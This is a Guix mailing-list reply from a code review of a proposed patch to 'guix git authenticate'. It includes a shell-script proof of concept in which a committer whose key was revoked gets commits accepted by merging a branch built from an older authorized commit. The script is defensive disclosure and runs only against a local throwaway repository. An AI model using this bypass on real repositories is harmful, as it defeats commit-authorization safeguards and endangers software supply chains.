Hi Tomas! Tomas Volf <~@wolfsden.cz> writes:
> Hello, > > thank you so much for actually reading this (and the script) and writing > back. It always give me warm feelings when the bottomless abyss called > Guix mailing list responds. :) I know the feeling ^_^ [...] > The intention in the code is to use the parents of M (so I, U) and do > an union instead of an intersection of keys valid in both parents. > >> I was hoping that maybe it's actually OK to do this, as you suggested; >> but unfortunately I thought of a problem - it would mean that once >> someone has a single signed commit in the Guix repo, their ability to >> make authenticated commits can never be revoked. Even if their key is >> removed from .guix_authorizations, their key will always make it into >> the set of valid keys via `authenticated-commits`. There are probably >> more possible attacks. > > Were you actually able to demonstrate this attack? I did quick test and > was not able to reproduce. [...] > It would be great if you are able to demonstrate that this attack is > possible. It would allow me to correct my understanding and fix the > code. I have included below a script that demonstrates an attack on `guix git authenticate` that only works with your patch. It's not the same attack as what I outlined above; I think that one would depend on the implementation details of your patch (if it's even viable at all; I haven't tested). Rather, the attack I demonstrate below should work as long as the core idea of your patch ("union instead of an intersection of keys valid in both parents") is implemented. You should be able to run it once you change the values of GUIX and REPO. --8<---------------cut here---------------start------------->8--- #!/bin/sh ### Copyright (C) 2025 45mg <45mg.wri...@gmail.com> ### SPDX-License-Identifier: AGPL-3.0-only # This script demonstrates an attack on `guix git authenticate` when it is built # with Tomas Volf's patch: # https://git.wolfsden.cz/guix/tree/etc/0001-git-authenticate-Trust-all-keys-from-already-authent.patch # It allows a key that was previously authorized and then removed to get new # commits into the master branch. # Here is an outline of the attack: # - A, who is a trusted committer, creates the repo and adds a commit that will # serve as the channel introduction. # - A then adds B as a committer, and B makes an authenticated commit on the # master branch. # - A then removes B as a committer. B should not be able to get any commits # into master from here on. # - B creates a branch starting from their authenticated commit, adds a # malicious commit to it, and merges their branch into master. # Since Tomas's patch considers the union of parent keys as valid, rather than # the intersection, this attack works - all commits made are considered # authenticated. GUIX='path/to/patched-guix-clone/pre-inst-env guix' REPO=wherever/we/should/create/the/guix-auth-attack-repo # Make sure you're using Guix built with Tomas Volf's patch. $GUIX --version ### Create test keys # Create a temporary substitute for ~/.gnupg export GNUPGHOME=/tmp/guix-auth-attack-gnupg/ rm -rf $GNUPGHOME mkdir -p $GNUPGHOME # gpg expects correct perms chmod 700 $GNUPGHOME chown $(whoami) $GNUPGHOME # Generate the keys gpg --batch --gen-key <<EOF %echo Generating A's OpenPGP key... Key-Type: default Name-Real: A %no-protection %commit %echo done. %echo Generating B's OpenPGP key... Key-Type: default Name-Real: B %no-protection %commit %echo done. EOF # Get the key fingerprints KEY_A=$(gpg --with-colons --list-keys --with-fingerprint A | awk -F: '$1 == "fpr" {print $10;}') KEY_B=$(gpg --with-colons --list-keys --with-fingerprint B | awk -F: '$1 == "fpr" {print $10;}') ### Demonstrate the attack #### A sets up the repo # Init the repo. rm -rf $REPO mkdir -p $REPO cd $REPO git init # Create the keyring branch, and add A and B's keys. git switch --orphan keyring git config user.name A git config user.email a...@no.mail gpg --armor --export -o A-"${KEY_A::8}".key "$KEY_A" gpg --armor --export -o B-"${KEY_B::8}".key "$KEY_B" git add -- A-"${KEY_A::8}".key B-"${KEY_B::8}".key git commit -m "Add keys for A and B." # Create the initial commit, which will be the channel introduction. # It will be signed with A's key. git switch --orphan master cat > .guix-authorizations <<EOF (authorizations (version 0) (("$KEY_A" (name "A")))) EOF git add -- .guix-authorizations git config commit.gpgsign true git config user.signingkey $KEY_A git commit -m "Initial commit and channel introduction." INIT_COMMIT=$(git rev-parse HEAD) #### A authorizes B cat > .guix-authorizations <<EOF (authorizations (version 0) (("$KEY_A" (name "A")) ("$KEY_B" (name "B")))) EOF git add -- .guix-authorizations git commit -m "Authorize B." #### B creates a branch and merges it git config user.name B git config user.email b...@no.mail git config user.signingkey $KEY_B git switch --create to-merge touch b-file git add -- b-file git commit -m "Add b-file." B_COMMIT=$(git rev-parse HEAD) git switch master git merge to-merge -m "Merge to-merge." #### A removes B's authorization git config user.name A git config user.email a...@no.mail git config user.signingkey $KEY_A cat > .guix-authorizations <<EOF (authorizations (version 0) (("$KEY_A" (name "A")))) EOF git add -- .guix-authorizations git commit -m "Remove B's authorization." #### The attack # B creates a branch starting from their signed commit, adds a malicious commit, # and merges it into master! git config user.name B git config user.email b...@no.mail git config user.signingkey $KEY_B git switch --create malicious $B_COMMIT touch malicious-file git add -- malicious-file git commit -m "Add malicious file." git switch master git merge malicious -m "Merge malicious." #### `guix git authenticate` to show that the attack works $GUIX git authenticate $INIT_COMMIT "$KEY_A" # If you set $GUIX to a guix executable built without Tomas's patch, the attack # will fail. --8<---------------cut here---------------end--------------->8--- [...] > My cynical take is that this is the very reason this issue is not taken > seriously. For all "people in charge" it works, even in private forks. Well, it could also be that many of them didn't read this far into the thread; since the title doesn't really indicate that you found a fundamental flaw in `guix git authenticate`, they might not have seen any reason to pay attention. At any rate - we shall see ;)